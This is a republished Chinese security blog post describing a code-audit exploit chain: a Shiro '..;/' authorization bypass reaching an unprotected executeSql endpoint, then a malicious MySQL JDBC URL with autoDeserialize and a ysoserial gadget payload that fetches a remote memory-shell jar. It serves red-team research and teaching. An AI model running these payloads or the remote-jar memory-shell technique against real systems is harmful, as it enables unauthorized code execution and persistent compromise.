免责声明:
本公众号致力于安全研究和红队攻防技术分享等内容,本文中所有涉及的内容均不针对任何厂商或个人,同时由于传播、利用本公众号所发布的技术或工具造成的任何直接或者间接的后果及损失,均由使用者本人承担。请遵守中华人民共和国相关法律法规,切勿利用本公众号发布的技术或工具从事违法犯罪活动。最后,文中提及的图文若无意间导致了侵权问题,请在公众号后台私信联系作者,进行删除操作。
首先在依赖中发现目标使用了shiro 1.4
已知下列请求不用鉴权
WEB-INF/classes/spring/spring-context-shiro.xml
在过滤器中,
当../被过滤或者有waf拦截时,URL中有一个保留字符分号(;),主要作为参数分隔符进行使用,对于request.getRequestURL()和request.getRequestURI()来说,使用&连接的参数键值,对其来说是获取不到的,但是参数分隔符(;)及内容是可以获取到的,所以也可以使用..;/、..;a/等等来绕过。
对于..;/的更多用法,可以看https://xz.aliyun.com/t/10799
回到配置文件中,已知有关/**的配置可以用作权限绕过
在shiro中,@RequiresPermissions是用来分配用户角色权限的,接口会按照注解的值来决定哪个角色能访问当前请求
当包含有该注解配置了属性值时,即使利用了..;也会无法绕过,因为..;时shiro获取到的attribute是anon,与注解的属性不匹配:
所以要找没有RequiresPermissions注解的接口
经过查找,发现executeSql方法没有RequiresPermissions注解
在executeSql方法中,sql语句会传进数据库进行执行
但是在传进执行前,sysDataSource对象会先被传进MultiDBUtils类的init方法进行初始化,以便后面的sql语句能够有引擎执行,init方法:
初始化完成后就将dataSource设置为jdbc引擎以供后方的sql执行使用
因为在executeSql方法中,SysDataSource对象是被当作参数来传进使用的
所以根据SysDataSource的各参数构造数据源即可利用
自带的mysql驱动刚好版本存在漏洞
利用链同样自带:
CbNOC、cc9、10、11
jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&dbUserName=yso_CommonsCollections11_calc
打内存马思路
内存马打包成jar,放在开启web服务的服务器上,使用payload
yso_CommonsCollections11_remote-code-http://web/POC.jar#MemshellClass
其中http://web/POC.jar#MemshellClass可控,MemshellClass是内存马类名
后台回复“加群”或“小助手”,或扫描下方二维码加入我们的付费圈子,一起进步吧
原文始发于微信公众号(Lambda小队):别急,我教你代码审计从权限绕过到RCE
- 我的微信
- 微信扫一扫
-
- 我的微信公众号
- 微信扫一扫
-
评论